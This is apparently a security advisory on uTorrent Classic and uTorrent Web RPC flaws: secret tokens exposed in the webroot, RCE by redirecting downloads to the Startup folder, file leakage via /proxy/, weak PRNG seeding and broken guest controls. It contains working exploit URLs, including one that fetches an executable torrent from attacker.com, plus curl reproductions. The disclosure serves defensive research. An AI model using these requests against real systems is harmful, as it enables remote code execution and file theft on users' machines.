

uTorrent HTTP RPC Remote Code Execution & Data Leakage

Summary: Vulnerabilities in uTorrent Classic (port 10000) and uTorrent Web (port 19575) allow remote web-based exploitation, file access, and systemic compromise via basic HTTP RPC interactions.

Critical Overview: By default, uTorrent creates an HTTP RPC server on port 10000 (uTorrent classic) or 19575 (uTorrent web). There are numerous problems with these RPC servers that can be exploited by any website using `XMLHttpRequest()`. Visiting *any* malicious or compromised website is sufficient to compromise these applications.

1. uTorrent Web (<http://web.utorrent.com>)

uTorrent Web uses a web interface controlled via browser instead of a traditional desktop interface. By default, it is configured to startup with Windows, making it continuously active and accessible.

Authentication relies on a random token generated and stored in a configuration file, passed as a URL parameter with all requests. When clicking the uTorrent tray icon, the browser opens with the token populated:

```
http://127.0.0.1:19575/gui/index.html?localauth=localapic3cfe21229a80938:
```

Secret Exposure Vulnerability

While the secret relies on 8 bytes of `std::random_device`, it is stored directly inside the webroot. Any remote site can fetch the secret via simple DNS rebinding to gain full control:

```
$ curl -si http://localhost:19575/users.conf
HTTP/1.1 200 OK
Date: Wed, 31 Jan 2018 19:46:44 GMT
Last-Modified: Wed, 31 Jan 2018 19:37:50 GMT
Etag: "5a721b0e.92"
Content-Type: text/plain
Content-Length: 92
Connection: close
Accept-Ranges: bytes

localapi29c802274dc61fb4      bc676961df0f684b13adae450a57a91cd3d92c03
94bc897965398c8a07ff      2      1
```

Remote Code Execution Vector

Once the token is acquired, an attacker can alter the default download directory to sensitive system areas (e.g., Startup folder) and download arbitrary binaries:

```
# Change download directory to Startup folder
http://127.0.0.1:19575/gui/?localauth=token:&action=setsetting&s=dir_active_download&v=C:/Users/
All%20Users/Start%20Menu/Programs/Startup

# Download executable torrent
http://127.0.0.1:19575/gui/?localauth=token:&action=add-url&url=http://attacker.com/
calc.exe.torrent
```

Note: Beyond authentication secrets, settings, crashdumps, logs, and other internal data are accessible within the webroot.

2. uTorrent Classic

uTorrent Classic exposes a JSON RPC server on port 10000. Many endpoints are exposed to the web that can crash or interfere with the UI.

Unauthorized Data Access & Torrent Enumeration

The `/proxy/` handler is enabled by default and exposed without adequate authorization. Any website visited can enumerate and download/copy every file downloaded by the victim.

Exploitation requires brute-forcing the `sid` parameter (a small integer incremented per torrent), which can be completed in seconds:

```
$ curl -sI 'http://localhost:10000/proxy/0/?sid=2&file=0&callback=file'
HTTP/1.1 200 OK
Content-Type: audio/mpeg
Server: BitTorrentProxy/1.0
Connection: close
Accept-Ranges: bytes
ETag: "8FD54C339FE8B8A418CE2299AF2EADD9B1715D7A"
```

Reproduction Steps

1. On a clean Windows 7 VM, install uTorrent 3.5 (44294) with default settings.
2. Add torrent from URL: https://archive.org/download/SKODA0CTAVIA336x280/SKODA0CTAVIA336x280_archive.torrent
3. Upon completion (~5MB), visit the test endpoint in Chrome: <http://lock.cmpxchg8b.com/Ahg8Aesh.html>
4. Click "**Start Attack**". The script will identify file size/type and allow extraction of the downloaded contents.

3. Additional Binary & PRNG Weaknesses

Missing Binary Protections

The uTorrent binary disables **ASLR** (Address Space Layout Randomization) and **/GS** (Buffer Security Check). Even though the binary is UPX packed, this lack of exploit mitigations significantly weakens security properties.

PRNG State Reconstruction

uTorrent uses an unmodified Mersenne Twister PRNG to generate authentication tokens, cookies, session identifiers, and pairing keys. The PRNG is seeded with low-entropy inputs such as `GetProcessId()` and `GetTickCount()`.

Because Mersenne Twister provides no cryptographic security, observing sample outputs allows complete reconstruction of the internal state, permitting attackers to derive future/past pairing keys and session cookies.

Broken Guest Account Access Controls

Documentation states that many RPC actions are restricted for the "guest" account. Testing reveals these security boundaries are unenforced:

```
$ curl -si 'http://guest@localhost:10000/gui/?action=getsettings&callback=error&btapp='
HTTP/1.1 200 OK
Connection: keep-alive
Content-Length: 16572
Content-Type: text/javascript
Set-Cookie: GUID=6yY1pkIHMMvvHo8tg0Yu; path=/
Cache-Control: no-cache

{"build":44090,"settings": [
["install_modification_time",0,"0",{"access":"Y"}]
...
}
```